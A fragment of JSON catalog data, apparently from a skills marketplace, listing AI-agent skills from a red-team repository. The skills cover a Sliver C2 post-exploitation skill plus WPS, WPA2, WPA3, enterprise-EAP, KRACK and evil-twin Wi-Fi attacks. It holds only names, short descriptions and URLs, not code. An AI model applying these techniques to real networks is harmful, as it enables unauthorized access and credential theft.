c2-sliver","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fpost-exploit\u002Fc2-sliver\u002FSKILL.md",true,[49],{"path":50,"resourceType":51,"resourceTypeDesc":52,"sizeBytes":53,"sourceHtmlUrl":54},"references\u002Fsliver-quickstart.md","REFERENCE","参考文档",4430,"https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fpost-exploit\u002Fc2-sliver\u002Freferences\u002Fsliver-quickstart.md",[56,63,70,77,84,91],{"skillNo":57,"name":58,"nameZh":6,"description":59,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":60,"categories":61,"keywords":62,"publishedAt":18},"01M78JAX15GZR5Q5S7RMPWFX43","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":18},"01M78JARXE0ZER8P81SFD024YP","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":18},"01M78JANJNH8VMR0CK1Y6AM74G","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":18},"01M78JAFCYR2BAJF7KH0ZCXREA","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":18},"01M78JAAQ5T08FR9MY5SFNRWBM","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":18},"01M78JA6799JQZE0M9B21HRMGY","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]